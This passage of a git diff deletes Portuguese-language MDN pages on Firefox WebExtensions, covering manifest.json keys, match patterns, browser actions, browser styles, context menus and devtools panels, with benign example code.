-"applications": {
-  "gecko": {
-    "id": "addon@example.com",
-    "strict_min_version": "42.0"
-  }
-}
-
- -

Descrição

- -

A chave applications contém chaves que são especificas de uma application de um anfitrião em particular.

- -

Propriedadee (Gecko) do Firefox

- -

Currently this contains just one key, gecko, which may contain four string attributes:

- -
    -
  • id is the extension ID. Optional from Firefox 48, mandatory before Firefox 48. See Extensions and the Add-on ID to see when you need to specify an add-on ID.
  • -
  • strict_min_version: minimum version of Gecko to support. Versions containing a "*" are not valid in this field. Defaults to "42a1".
  • -
  • strict_max_version: maximum version of Gecko to support. If the Firefox version on which the extension is being installed or run is above this version, then the extension will be disabled, or not permitted to be installed. Defaults to "*", which disables checking for a maximum version.
  • -
  • update_url is a link to an extension update manifest. Note that the link must begin with "https". This key is for managing extension updates yourself (i.e. not through AMO).
  • -
- -

Consulte a lista das versões válidas de Gecko.

- -

Formato da Id. da Extensão

- -

A Id. da extensão deve ser uma das seguintes:

- -
    -
  • GUID
  • -
  • A string formatted like an email address: extensionname@example.org
  • -
- -

The latter format is easier to generate and manipulate. Be aware that using a real email address here may attract spam.

- -

Por exemplo:

- -
"id": "extensionname@example.org",
-
-"id": "{daf44bf7-a45e-4450-979c-91cf07434c3d}"
- -

Propriedades do Microsoft Edge

- -

Microsoft Edge stores its browser specific settings in the edge subkey, which has the following properties:

- -
-
browser_action_next_to_addressbar
-
-

Boolean property which controls the placement of the browser action.

- - -
-
- -

Exemplos

- -

Example with all possible keys. Note that most extensions will omit strict_max_version and update_url.

- -
"applications": {
-  "gecko": {
-    "id": "addon@example.com",
-    "strict_min_version": "42.0",
-    "strict_max_version": "50.*",
-    "update_url": "https://example.com/updates.json"
-  },
-  "edge": {
-    "browser_action_next_to_addressbar": true
-  }
-}
- -

Compatibilidade de navegador

- - - -

{{Compat("webextensions.manifest.browser_specific_settings")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/devtools_page/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/devtools_page/index.html deleted file mode 100644 index 6f53c96b01..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/devtools_page/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: devtools_page -slug: Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
TipoString
ObrigatórioNão
Exemplo -
-"devtools_page": "devtools/my-page.html"
-
- -

Utilziae esta chave para permitir que a sua extensão amplie as devtools do navegador integradas.

- -

esta chave é definida como um URL para um ficheiro HTML. O ficheiro HTML deverá ser incorporado com a extensão, e o URL é relativo à raiz das extensões.

- -

Consulte Extensão das ferramentas de desenvolvimento para saber mais.

- -

Exemplo

- -
"devtools_page": "devtools/my-page.html"
- -

Compatibilidade de navegador

- - - -

{{Compat("webextensions.manifest.devtools_page")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html deleted file mode 100644 index 66eb369f78..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Ícones (icons) -slug: Mozilla/Add-ons/WebExtensions/manifest.json/icons -tags: - - Extensões - - Extensões da Web - - Extras -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/icons -original_slug: Mozilla/Add-ons/WebExtensions/manifest.json/icones ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
TipoObjeto
ObrigatórioNão
Exemplo -
-"icons": {
-  "48": "icon.png",
-  "96": "icon@2x.png"
-}
-
- -

The icons key specifies icons for your extension. Those icons will be used to represent the extension in components such as the Add-ons Manager.

- -

It consists of key-value pairs of image size in px and image path relative to the root directory of the extension.

- -

If icons is not supplied, a standard extension icon will be used by default.

- -

You should supply at least a main extension icon, ideally 48x48 px in size. This is the default icon that will be used in the Add-ons Manager. You may, however, supply icons of any size and Firefox will attempt to find the best icon to display in different components.

- -

Firefox will consider the screen resolution when choosing an icon. To deliver the best visual experience to users with high-resolution displays, such as Retina displays, provide double-sized versions of all your icons.

- -

Exemplo

- -

The keys in the icons object specify the icon size in px, values specify the relative icon path. This example contains a 48px extension icon and a larger version for high-resolution displays.

- -
"icons": {
-  "48": "icon.png",
-  "96": "icon@2x.png"
-}
- -

SVG

- -

You can use SVG and the browser will scale your icon appropriately. There are currently two caveats though:

- -
    -
  1. You need to specify a viewBox in the image. E.g.: -
    <svg viewBox="0 0 48 48" width="48" height="48" ...
    -
  2. -
  3. Even though you can use one file, you still need to specify various size of the icon in your manifest. E.g.: -
    "icons": {
    -  "48": "icon.svg",
    -  "96": "icon.svg"
    -}
    -
  4. -
- -
-

If you are using a program like Inkscape for creating SVG, you might want to save it as a "plain SVG". Firefox might be confused by various special namespaces and not display your icon.

-
- -

Compatibilidade de navegador

- - - -

{{Compat("webextensions.manifest.icons")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/index.html deleted file mode 100644 index 4f8e087281..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: manifest.json -slug: Mozilla/Add-ons/WebExtensions/manifest.json -tags: - - Add-ons - - Extensões - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json ---- -
{{AddonSidebar}}
- -

O ficheiro manifest.json é o único ficheiro que deve ser incluído em extensões que usem APIs de WebExtension.

- -

Com o manifest.json, é possível especificar metadados sobre a extensão a que pertence, tal como o nome, a versão, e funcionalidades como scripts de background, scripts de conteúdo, e ações de browser.

- -

O manifest.json é um ficheiro em formato JSON, mas também suporta comentários do tipo "//".

- -

Propriedades do manifest.json

- -

Seguem-se as propriedades que o manifest.json suporta:

- -
{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}
- -
- -

Notas sobre propriedades do manifest.json

- -
    -
  • as únicas propriedades obrigatórias são "manifest_version", "version", e "name". "default_locale" só é obrigatório se existir uma pasta "_locales". Caso contrário, a propriedade não pode existir.
  • -
  • -

    "browser_specific_settings" não é compatível com Google Chrome.

    -
  • -
- -

Como aceder a propriedades manifest.json em runtime

- -

É possível aceder ao manifest.json de uma extensão a partir de um script da mesma, com a função de JavaScript {{WebExtAPIRef("runtime.getManifest()")}}:

- -
browser.runtime.getManifest().version;
- -

Compatibilidade de browsers

- -

{{Compat("webextensions.manifest")}}

- -

Exemplo

- -

Os exemplos seguintes demonstram como funcionam algumas propriedades comuns nos manifest.json.  

- -
-

Nota: Estes exemplos não funcionam se forem simplesmente copiados e colados. As propriedades necessárias são determinadas pelas características de cada extensão

-
- -

Para ver exemplos completos de extensões, veja a página Exemplos de extensões.

- -
{
-  "applications": {
-    "gecko": {
-      "id": "addon@example.com",
-      "strict_min_version": "42.0"
-    }
-  },
-
-  "background": {
-    "scripts": ["jquery.js", "my-background.js"],
-    "page": "my-background.html"
-  },
-
-  "browser_action": {
-    "default_icon": {
-      "19": "button/geo-19.png",
-      "38": "button/geo-38.png"
-    },
-    "default_title": "Whereami?",
-    "default_popup": "popup/geo.html"
-  },
-
-  "commands": {
-    "toggle-feature": {
-      "suggested_key": {
-        "default": "Ctrl+Shift+Y",
-        "linux": "Ctrl+Shift+U"
-      },
-      "description": "Send a 'toggle-feature' event"
-    }
-  },
-
-  "content_security_policy": "script-src 'self' https://example.com; object-src 'self'",
-
-  "content_scripts": [
-    {
-      "exclude_matches": ["*://developer.mozilla.org/*"],
-      "matches": ["*://*.mozilla.org/*"],
-      "js": ["borderify.js"]
-    }
-  ],
-
-  "default_locale": "en",
-
-  "description": "...",
-
-  "icons": {
-    "48": "icon.png",
-    "96": "icon@2x.png"
-  },
-
-  "manifest_version": 2,
-
-  "name": "...",
-
-  "page_action": {
-    "default_icon": {
-      "19": "button/geo-19.png",
-      "38": "button/geo-38.png"
-    },
-    "default_title": "Whereami?",
-    "default_popup": "popup/geo.html"
-  },
-
-  "permissions": ["webNavigation"],
-
-  "version": "0.1",
-
-  "web_accessible_resources": ["images/my-image.png"]
-}
- -

Compatibilidade de browsers

- -

Consulte a tabela de compatibilidade de browsers do manifest.json para saber que browsers suportam cada propriedade do manifest.json.

- -

Ver também

- -

{{WebExtAPIRef("permissions")}} JavaScript API

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html b/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html deleted file mode 100644 index e7330b3010..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html +++ /dev/null @@ -1,431 +0,0 @@ ---- -title: dubla padrões em extensão manifestos -slug: Mozilla/Add-ons/WebExtensions/Match_patterns -translation_of: Mozilla/Add-ons/WebExtensions/Match_patterns -original_slug: Mozilla/Add-ons/WebExtensions/dubla_padrões ---- -
{{AddonSidebar}}
- -

Match patterns are a way to specify groups of URLs: a match pattern matches a specific set of URLs. They are used in WebExtensions APIs in a few places, most notably to specify which documents to load content scripts into, and to specify which URLs to add webRequest listeners to.

- -

APIs that use match patterns usually accept a list of match patterns, and will perform the appropriate action if the URL matches any of the patterns. See, for example, the content_scripts key in manifest.json.

- -

Match pattern structure

- -
-

Note: Some browsers don’t support certain schemes.
- Check the Browser compatibility table for details.

-
- -

All match patterns are specified as strings. Apart from the special <all_urls> pattern, match patterns consist of three parts: scheme, host, and path. The scheme and host are separated by ://.

- -
<scheme>://<host><path>
- -

scheme

- -

The scheme component may take one of two forms:

- - - - - - - - - - - - - - - - - - -
FormMatches
*Only "http" and "https" and in some browsers also "ws" and "wss".
One of http, https, ws, wss, ftp, ftps, data or file.Only the given scheme.
- -

host

- -

The host component may take one of three forms:

- - - - - - - - - - - - - - - - - - - - - - -
FormMatches
*Any host.
*. followed by part of the hostname.The given host and any of its subdomains.
A complete hostname, without wildcards.Only the given host.
- -

host must not include a port number.

- -

host is optional only if the scheme is "file".

- -

Note that the wildcard may only appear at the start.

- -

path

- -

The path component must begin with a /.

- -

After that, it may subsequently contain any combination of the * wildcard and any of the characters that are allowed in URL paths or query strings. Unlike host, the path component may contain the * wildcard in the middle or at the end, and the * wildcard may appear more than once.

- -

The value for the path matches against the string which is the URL path plus the URL query string. This includes the ? between the two, if the query string is present in the URL. For example, if you want to match URLs on any domain where the URL path ends with foo.bar, then you need to use an array of Match Patterns like ['*://*/*foo.bar', '*://*/*foo.bar?*']. The ?* is needed, rather than just bar*, in order to anchor the ending * as applying to the URL query string and not some portion of the URL path.

- -

Neither the URL fragment identifier, nor the # which precedes it, are considered as part of the path.

- -
-

Note: The path pattern string should not include a port number. Adding a port, as in: "http://localhost:1234/*" causes the match pattern to be ignored. However, "http://localhost:1234" will match with "http://localhost/*"

-
- -

<all_urls>

- -

The special value <all_urls> matches all URLs under any of the supported schemes: that is "http", "https", "ws", "wss", "ftp", "data", and "file".

- -

Examples

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PatternExample matchesExample non-matches
-

<all_urls>

- -

Match all URLs.

-
-

http://example.org/

- -

https://a.org/some/path/

- -

ws://sockets.somewhere.org/

- -

wss://ws.example.com/stuff/

- -

ftp://files.somewhere.org/

- -

ftps://files.somewhere.org/

-
-

resource://a/b/c/
- (unsupported scheme)

-
-

*://*/*

- -

Match all HTTP, HTTPS and WebSocket URLs.

-
-

http://example.org/

- -

https://a.org/some/path/

- -

ws://sockets.somewhere.org/

- -

wss://ws.example.com/stuff/

-
-

ftp://ftp.example.org/
- (unmatched scheme)

- -

ftps://ftp.example.org/
- (unmatched scheme)

- -

file:///a/
- (unmatched scheme)

-
-

*://*.mozilla.org/*

- -

Match all HTTP, HTTPS and WebSocket URLs that are hosted at "mozilla.org" or one of its subdomains.

-
-

http://mozilla.org/

- -

https://mozilla.org/

- -

http://a.mozilla.org/

- -

http://a.b.mozilla.org/

- -

https://b.mozilla.org/path/

- -

ws://ws.mozilla.org/

- -

wss://secure.mozilla.org/something

-
-

ftp://mozilla.org/
- (unmatched scheme)

- -

http://mozilla.com/
- (unmatched host)

- -

http://firefox.org/
- (unmatched host)

-
-

*://mozilla.org/

- -

Match all HTTP, HTTPS and WebSocket URLs that are hosted at exactly "mozilla.org/".

-
-

http://mozilla.org/

- -

https://mozilla.org/

- -

ws://mozilla.org/

- -

wss://mozilla.org/

-
-

ftp://mozilla.org/
- (unmatched scheme)

- -

http://a.mozilla.org/
- (unmatched host)

- -

http://mozilla.org/a
- (unmatched path)

-
-

ftp://mozilla.org/

- -

Match only "ftp://mozilla.org/".

-
ftp://mozilla.org -

http://mozilla.org/
- (unmatched scheme)

- -

ftp://sub.mozilla.org/
- (unmatched host)

- -

ftp://mozilla.org/path
- (unmatched path)

-
-

https://*/path

- -

Match HTTPS URLs on any host, whose path is "path".

-
-

https://mozilla.org/path

- -

https://a.mozilla.org/path

- -

https://something.com/path

-
-

http://mozilla.org/path
- (unmatched scheme)

- -

https://mozilla.org/path/
- (unmatched path)

- -

https://mozilla.org/a
- (unmatched path)

- -

https://mozilla.org/
- (unmatched path)

- -

https://mozilla.org/path?foo=1
- (unmatched path due to URL query string)

-
-

https://*/path/

- -

Match HTTPS URLs on any host, whose path is "path/" and which has no URL query string.

-
-

https://mozilla.org/path/

- -

https://a.mozilla.org/path/

- -

https://something.com/path/

-
-

http://mozilla.org/path/
- (unmatched scheme)

- -

https://mozilla.org/path
- (unmatched path)

- -

https://mozilla.org/a
- (unmatched path)

- -

https://mozilla.org/
- (unmatched path)

- -

https://mozilla.org/path/?foo=1
- (unmatched path due to URL query string)

-
-

https://mozilla.org/*

- -

Match HTTPS URLs only at "mozilla.org", with any URL path and URL query string.

-
-

https://mozilla.org/

- -

https://mozilla.org/path

- -

https://mozilla.org/another

- -

https://mozilla.org/path/to/doc

- -

https://mozilla.org/path/to/doc?foo=1

-
-

http://mozilla.org/path
- (unmatched scheme)

- -

https://mozilla.com/path
- (unmatched host)

-
-

https://mozilla.org/a/b/c/

- -

Match only this URL, or this URL with any URL fragment.

-
-

https://mozilla.org/a/b/c/

- -

https://mozilla.org/a/b/c/#section1

-
Anything else.
-

https://mozilla.org/*/b/*/

- -

Match HTTPS URLs hosted on "mozilla.org", whose path contains a component "b" somewhere in the middle. Will match URLs with query strings, if the string ends in a /.

-
-

https://mozilla.org/a/b/c/

- -

https://mozilla.org/d/b/f/

- -

https://mozilla.org/a/b/c/d/

- -

https://mozilla.org/a/b/c/d/#section1

- -

https://mozilla.org/a/b/c/d/?foo=/

- -

https://mozilla.org/a?foo=21314&bar=/b/&extra=c/

-
-

https://mozilla.org/b/*/
- (unmatched path)

- -

https://mozilla.org/a/b/
- (unmatched path)

- -

https://mozilla.org/a/b/c/d/?foo=bar
- (unmatched path due to URL query string)

-
-

file:///blah/*

- -

Match any FILE URL whose path begins with "blah".

-
-

file:///blah/

- -

file:///blah/bleh

-
file:///bleh/
- (unmatched path)
- -

Invalid match patterns

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Invalid patternReason
resource://path/Unsupported scheme.
https://mozilla.orgNo path.
https://mozilla.*.org/"*" in host must be at the start.
https://*zilla.org/"*" in host must be the only character or be followed by ".".
http*://mozilla.org/"*" in scheme must be the only character.
https://mozilla.org:80/Host must not include a port number.
*://*Empty path: this should be "*://*/*".
file://*Empty path: this should be "file:///*".
- -

Browser compatibility

- -

scheme

- - - -

{{Compat("webextensions.match_patterns.scheme",10)}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/tips/index.html b/files/pt-pt/mozilla/add-ons/webextensions/tips/index.html deleted file mode 100644 index dd02a81c1d..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/tips/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Tips and Tricks -slug: Mozilla/Add-ons/WebExtensions/Tips -translation_of: Mozilla/Add-ons/WebExtensions/Tips ---- -

{{AddonSidebar}}

- -

Esta paginas contêm varias dicas e truques que deve ser útil para muitas pessoas devenvolvendo extensões usando WebExtension APIs.

- -

Usando recursos avancados do ECMAScript 2015 e 2016.

- -

Firefox suporta muitos recursos do ECMAScript 2015 fora da box. Diversas novidades e recursos experimental, contanto entretanto, não estão disponiveis por padrão para a Web ou WebExtensions. Se você quer usar esses recursos,  é melhor transpilar seu codigo usando uma ferramenta como o Babel.

- -

Cuidado que qualquer coisa abalixo desta linha é informação desatualizada e tem sido removida do Babel 6.

- -

Babel fornece transformações para a grande maioria dos recursos do ES2015, e os habilita por padrão. Uma vez que o Firefox já suporta totalmente a maiorias dessas, é melhor configurar Babel para ignorar-lá. Nós sugerimos criando um arquivo .babelrc, ou uma seção babel em seu arquivo de projeto package.json contendo o seguinte:

- -
{
-  "env": {
-    "firefox": {
-      "sourceMaps": "inline",
-      "blacklist": [
-        "es5.properties.mutators",
-        "es6.arrowFunctions",
-        "es6.destructuring",
-        "es6.forOf",
-        "es6.parameters",
-        "es6.properties.computed",
-        "es6.properties.shorthand",
-        "es6.spec.symbols",
-        "es6.spread",
-        "es6.tailCall",
-        "es6.templateLiterals",
-        "es6.regex.sticky",
-        "es6.regex.unicode"
-      ]
-    }
-  }
-}
-
- -

Então, para compilar um script individual simplesmente, execute:

- -
BABEL_ENV=firefox babel <filename>
-
- -

Ou, para compilar cada arquivo JavaScript dentro do diretório src e colocar os arquivos compilados em compiled, copiando arquivos não-JavaScript no processo, executadno:

- -
BABEL_ENV=firefox babel -Dd compiled src
-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html deleted file mode 100644 index 421dffbb28..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Botão da Barra de Ferramentas -slug: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action -tags: - - Extensão da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador ---- -
{{AddonSidebar}}
- -

Normalmente referido como uma ação do navegador, esta opção da interface do utilizador é um botão adicionado à barra de ferramentas do navegador. Os utilizadores clicam no botão para interagir com a sua extensão.
-

- -

The toolbar button (browser action) is very like the address bar button (page action). For the differences, and guidance on when to use what, see Page actions and browser actions.

- -

Especificar a ação do navegador

- -

Define as propriedades da ação do navegador utilizando a chave browser_action em manifest.json:

- -
"browser_action": {
-  "default_icon": {
-    "19": "button/geo-19.png",
-    "38": "button/geo-38.png"
-  },
-  "default_title": "Whereami?"
-}
- -

The only mandatory key is default_icon.

- -

There are two ways to specify a browser action: with or without a popup. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using browserAction.onClicked:

- -
browser.browserAction.onClicked.addListener(handleClick);
- -

If you specify a popup, the click event is not dispatched: instead, the popup is shown when the user clicks the button. The user is able to interact with the popup and it closes automatically when the user clicks outside it. See the Popup article for more details on creating and managing popups.

- -

Note that your extension can have only one browser action.

- -

You can change any of the browser action properties programmatically using the browserAction API.

- -

Ícones

- -

For details on how to create icons to use with your browser action, see Iconography in the Photon Design System documentation.

- -

Exemplos

- -

The webextensions-examples repository on GitHub contains two examples of extensions that implement browser actions:

- -
    -
  • bookmark-it uses a browser action without a popup.
  • -
  • beastify uses a browser action with a popup.
  • -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html deleted file mode 100644 index 233cf4ff31..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html +++ /dev/null @@ -1,454 +0,0 @@ ---- -title: Estilos de navegador -slug: Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles -tags: - - Extensões - - Extensões da Web - - Extras -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Estilos_de_navegador ---- -
{{AddonSidebar}}
- -

Certain user interface components - browser and page action popups, sidebars, and options pages - are specified by your extension in essentially the same way:

- -
    -
  1. create an HTML file defining the structure of the UI element
  2. -
  3. add a manifest.json key (browser_action, page_action, sidebar_action, or options_ui) pointing to that HTML file.
  4. -
- -

One of the challenges with this approach is styling the element in such a way that it fits in with the browser's own style. To help with this, the manifest.json keys include an extra optional property: browser_style. If this is included and set to true, then your document will get one or more extra stylesheets that will help make it look consistent with the browser's UI and with other extensions that use the browser_style property.

- -

In Firefox, the stylesheet can be seen at chrome://browser/content/extension.css. The extra stylesheet at chrome://browser/content/extension-mac.css is also included on OS X.

- -

Most styles are automatically applied, but some elements require you to add the non-​standard browser-style class to get their styling since Firefox 55, as detailed in the table below:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementoExemplo
<button> -
-<button class="browser-style">Click me</button>{{non-standard_inline}}
-
-

<select>

-
-
-<select class="browser-style" name="select">
-  <option value="value1">Value 1</option>
-  <option value="value2" selected>Value 2</option>
-  <option value="value3">Value 3</option>
-</select>
-
<textarea> -
-<textarea class="browser-style">Write here</textarea>
-
Parent of an <input> -
-<div class="browser-style">
-  <input type="radio" id="op1" name="choices" value="op1">
-  <label for="op1">Option 1</label>
-
-  <input type="radio" id="op2" name="choices" value="op2">
-  <label for="op2">Option 2</label>
-</div>
-
- -

Compatibilidade de navegador

- - - -

{{Compat("webextensions.browser_style")}}

- -

Componentes de Painel do Firefox

- -
-

{{NonStandardBadge(1)}} Non-Standard
- This feature is non-standard and only works in Firefox.

-
- -

The chrome://browser/content/extension.css stylesheet also contains the styles for the Firefox Panel Components.

- -

The legacy Firefox Style Guide documents proper usage.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementoExemplo
Cabeçalho -
-<header class="panel-section panel-section-header">
-  <div class="icon-section-header"><img src="image.svg"/></div>
-  <div class="text-section-header">Header</div>
-</header>
-
Rodapé -
-<footer class="panel-section panel-section-footer">
-  <button class="panel-section-footer-button">Cancel</button>
-  <div class="panel-section-footer-separator"></div>
-  <button class="panel-section-footer-button default">Confirm</button>
-</footer>
-
Separadores -
-<div class="panel-section panel-section-tabs">
-  <button class="panel-section-tabs-button selected">Tab</button>
-  <div class="panel-section-tabs-separator"></div>
-  <button class="panel-section-tabs-button">Tab</button>
-  <div class="panel-section-tabs-separator"></div>
-  <button class="panel-section-tabs-button">Tab</button>
-</div>
-
Form -
-<div class="panel-section panel-section-formElements">
-  <div class="panel-formElements-item">
-    <label for="name01">Label:</label>
-    <input type="text" value="Name" id="name01" />
-  </div>
-  <div class="panel-formElements-item">
-    <label for="picker01">Label:</label>
-    <select id="picker01">
-      <option value="value1" selected="true">Dropdown</option>
-      <option value="value2">List Item</option>
-      <option value="value3">List Item</option>
-    </select>
-  </div>
-  <div class="panel-formElements-item">
-    <label for="placeholder01">Label:</label>
-    <input type="text" placeholder="Placeholder" id="placeholder01" />
-    <button name="expander" class="expander"></button>
-  </div>
-</div>
-
Menu -
-<div class="panel-section panel-section-list">
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut">Ctrl-L</div>
-  </div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-section-separator"></div>
-
-  <div class="panel-list-item disabled">
-    <div class="icon"></div>
-    <div class="text">Disabled List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-section-separator"></div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-</div>
-
- -

Exemplo

- -

HTML

- -
<header class="panel-section panel-section-header">
-  <div class="icon-section-header"><!-- An image goes here. --></div>
-  <div class="text-section-header">Header</div>
-</header>
-
-<div class="panel-section panel-section-list">
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut">Ctrl-L</div>
-  </div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-section-separator"></div>
-
-  <div class="panel-list-item disabled">
-    <div class="icon"></div>
-    <div class="text">Disabled List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-section-separator"></div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-</div>
-
-<footer class="panel-section panel-section-footer">
-  <button class="panel-section-footer-button">Cancel</button>
-  <div class="panel-section-footer-separator"></div>
-  <button class="panel-section-footer-button default">Confirm</button>
-</footer>
- - - -

Result

- -

{{EmbedLiveSample("Example","640","360")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html deleted file mode 100644 index bf69421558..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Itens do menu de contexto -slug: Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items -original_slug: >- - Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Itens_do_menu_de_contexto ---- -
{{AddonSidebar}}
- -
-

Essa opção da interface do utilizador adiciona um ou mais itens a um menu de contexto do navegador.

- -

Example of content menu items added by a WebExtension, from the context-menu-demo example

- -

You would use this option to expose features that are relevant to specific browser or web page contexts. For example, you could show features to open a graphic editor when the user clicks on an image or offer a feature to save page content when part of a page is selected. You can add plain menu items, checkbox items, radio button groups, and separators to menus. Once a context menu item has been added using {{WebExtAPIRef("contextMenus.create")}} it's displayed in all browser tabs, but you can hide it by removing it with {{WebExtAPIRef("contextMenus.remove")}}.

- -

Especificar itens do menu de contexto

- -

You manage context menu items programmatically, using the {{WebExtAPIRef("contextMenus")}} API. However, you need to request the contextMenus permission in your manifest.json to be able to take advantage of the API.

- -
"permissions": ["contextMenus"]
- -

You can then add (and update or delete) the context menu items in your extension's background script. To create a menu item you specify an id, its title, and the context menus it should appear on:

- -
browser.contextMenus.create({
-  id: "log-selection",
-  title: browser.i18n.getMessage("contextMenuItemSelectionLogger"),
-  contexts: ["selection"]
-}, onCreated);
- -

Your extension then listens for clicks on the menu items. The passed information about the item clicked, the context where the click happened, and details of the tab where the click took place can then be used to invoke the appropriate extension functionality.

- -
browser.contextMenus.onClicked.addListener(function(info, tab) {
-  switch (info.menuItemId) {
-    case "log-selection":
-      console.log(info.selectionText);
-      break;
-    ...
-  }
-})
- -

Exemplos

- -

O repositório de wexemplos das Extensões da Web no GitHub, contém vários exemplos de extensões que utilizam os itens do menu de contexto:

- - -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html deleted file mode 100644 index ffd1b942af..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Painéis das ferramentas de desenvolvimento -slug: Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels -tags: - - Extensões da Web - - Guía - - Interface do Utilizador - - Principiante -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/devtools_panels ---- -
{{AddonSidebar}}
- -
-

Esta funcionalidade está disponível desde o Firefox 54.

-
- -

Quando uma extensão fornece ferramentas que são úteis para os programadores, é possível adicionar uma IU para as mesmas para as ferramentas de desenvolvimento do navegador como um novo painel.

- -

Simple example showing the addition of "My panel" to the Developer Tools tabs.

- -

Especificar um painel de ferramentas de desenvolvimento

- -

Um painél das ferramentas de desenvovlimento é adicionado utilizando a API devtools.panels, que precisa de ser executada a partir de uma página de devtools especial.

- -

Adicione a páginas de devtools, incluindo a chave devtools_page na extensão de manifest.json e forneça a localização do ficheiro HTML da página na extensão:

- -
"devtools_page": "devtools-page.html"
- -

From the devtools page, call a script that will add the devtools panel:

- -
<body>
-  <script src="devtools.js"></script>
-</body>
- -

In the script, create the devtools panel by specifying the panel's title, icon, and HTML file that provides the panel's content:

- -
function handleShown() {
-  console.log("panel is being shown");
-}
-
-function handleHidden() {
-  console.log("panel is being hidden");
-}
-
-browser.devtools.panels.create(
-  "My Panel",           // title
-  "icons/star.png",           // icon
-  "devtools/panel/panel.html"          // content
-).then((newPanel) => {
-  newPanel.onShown.addListener(handleShown);
-  newPanel.onHidden.addListener(handleHidden);
-});
- -

The extension can now run code in the inspected window using devtools.inspectedWindow.eval() or by injecting a content script via the background script by passing a message. You can find more details on how to do this in Extending the developer tools.

- -

Exemplos

- -

The webextensions-examples repo on GitHub, contains several examples of extensions that use devtools panels:

